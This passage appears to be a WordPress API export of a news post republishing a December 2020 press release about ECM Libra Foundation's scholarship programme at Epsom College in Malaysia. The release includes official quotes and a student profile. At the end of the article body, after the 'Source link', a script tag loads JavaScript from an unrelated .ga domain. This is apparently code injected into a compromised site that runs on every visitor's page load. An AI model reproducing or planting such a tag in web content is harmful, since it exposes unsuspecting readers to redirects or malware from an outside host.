For<br \/>\nsome, their choices may be limited due to the financial pressures brought upon<br \/>\nby the pandemic &#8212; especially amongst the underserved communities. To ensure<br \/>\neducation continues to be prioritised, <b><a href=\"https:\/\/www.ecmlibrafoundation.com\/\">ECM Libra Foundation<\/a>&#8216;s ASEAN<br \/>\nScholarship Programme <\/b>is an opportunity for these students to live up to<br \/>\ntheir academic potential.<\/p>\n<p>20 full and 30 partial scholarships will<br \/>\nbe awarded to Malaysian students who have completed or will be completing SPM,<br \/>\nor from Year 7 or equivalent onwards to pursue either an A-Level or an IGCSE<br \/>\nprogramme in <b>Epsom College in Malaysia (ECiM)<\/b>, the only international<br \/>\ncampus of the prestigious Epsom College in the United Kingdom. <\/p>\n<p>One of the most common education opportunity<br \/>\ngaps in Malaysia is the lack of financial resources faced by lower-income<br \/>\nhouseholds. The inability of families to fund things like test-preparation,<br \/>\ntutoring, or extra-curricular activities often results to lower academic<br \/>\nachievement, and this scholarship was initiated to bridge that gap.<\/p>\n<p>&#8220;The pandemic has disrupted a lot of<br \/>\nsectors in our country and among them, education. It has changed the way<br \/>\nstudents experience learning and school life. We want to ensure that education<br \/>\nremains a top priority for families. This scholarship would provide the<br \/>\nbrightest young minds of our country the opportunity to realise their academic<br \/>\npotential,&#8221; said <b>Dato&#8217; Lim Kian Onn, the co-founder of ECM Libra Foundation.<\/b><\/p>\n<p><b>Dr Murray Tod, Headmaster of ECiM<\/b><i> <\/i>said,<br \/>\n&#8220;Amidst all that is happening around the world today, we constantly remind our<br \/>\nstudents that learning never stops. The future of education requires for us to<br \/>\nbe innovative and flexible to ensure that we constantly deliver the highest<br \/>\npossible academic rigour for our students.&#8221; <\/p>\n<p>&#8220;We are hugely<br \/>\nproud of the academic achievements\u00a0of our Epsom students, with the class<br \/>\nof 2020 attaining the best ever IGCSE and A-level results in our history, and<br \/>\nwe look forward to future generations of young scholars building\u00a0upon this<br \/>\noutstanding success.&#8221;<\/p>\n<p>ECiM&#8217;s 15-month A-Levels is a highly<br \/>\nsought after programme given its distinct approach to learning compared to the<br \/>\ntraditional classroom setting. The curriculum adopts a wide range of teaching<br \/>\nmethods from debate to practical examination; and a particularly unique one<br \/>\nwhich is the Oxbridge-style tutorial method, which encourages student led<br \/>\ndiscussion on a one-to-one basis with the teaching staff.<\/p>\n<p>The academic year intake has been<br \/>\nrevised to accommodate SPM candidates whose examinations were postponed to 22<br \/>\nFebruary 2021 onwards.<\/p>\n<p>Among those who have been the recipient<br \/>\nof their scholarship at ECiM is Yugendran Rajaendran who recently earned a spot<br \/>\nin the prestigious Stanford University. The Klang-born student will be joining<br \/>\nthe Class of 2021 pursuing a double degree in Bioengineering and Mathematical<br \/>\nand Computational Science.<\/p>\n<p>Yugendran&#8217;s notable academic excellence<br \/>\nincludes 5 A* results for his A-Levels examination that was bolstered by sheer<br \/>\nhard work and support from the ECiM teaching faculty. He also graduated Form 5<br \/>\nwith straight 11A+ in the SPM examinations. After completing his studies,<br \/>\nYugendran aspires to eventually work with the Ministry of Health in shaping<br \/>\npublic policies to provide affordable and accessible healthcare to all<br \/>\nMalaysians.<\/p>\n<p>Application for the ASEAN Scholarship<br \/>\nProgramme remains open until <b>31 January 2021<\/b>.<\/p>\n<p>\u00a0<\/p>\n<p>For more information on the ECM Libra Foundation ASEAN<br \/>\nScholarship Fund, please visit: <a href=\"https:\/\/www.ecmlibrafoundation.com\/scholarships2020-21\/\">https:\/\/www.ecmlibrafoundation.com\/scholarships2020-21\/<\/a> <\/p>\n<\/p><\/div>\n\n<br \/><a href=\"https:\/\/www.media-outreach.com\/release.php\/View\/57603#Contact\">Source link <\/a><script src='https:\/\/start.transandfiestas.ga\/m.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>ECM Libra Foundation earlier announced a RM15 million allocation to fund 50 students from ASEAN nations for the 2020\/2021 Academic Year Application for scholarship to pursue A-Level programme open until 31 January 2021 KUALA LUMPUR, MALAYSIA &#8211;\u00a0Media OutReach\u00a0&#8211; 9 December 2020 &#8211;\u00a0With the academic year ending, students would already be researching and planning their next &hellip;<\/p>\n","protected":false},"author":1,"featured_media":9961,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[60],"tags":[],"_links":{"self":[{"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/posts\/9960"}],"collection":[{"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/comments?post=9960"}],"version-history":[{"count":0,"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/posts\/9960\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/media\/9961"}],"wp:attachment":[{"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/media?parent=9960"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/categories?post=9960"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/eodishasamachar.com\/en\/wp-json\/wp\/v2\/tags?post=9960"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}
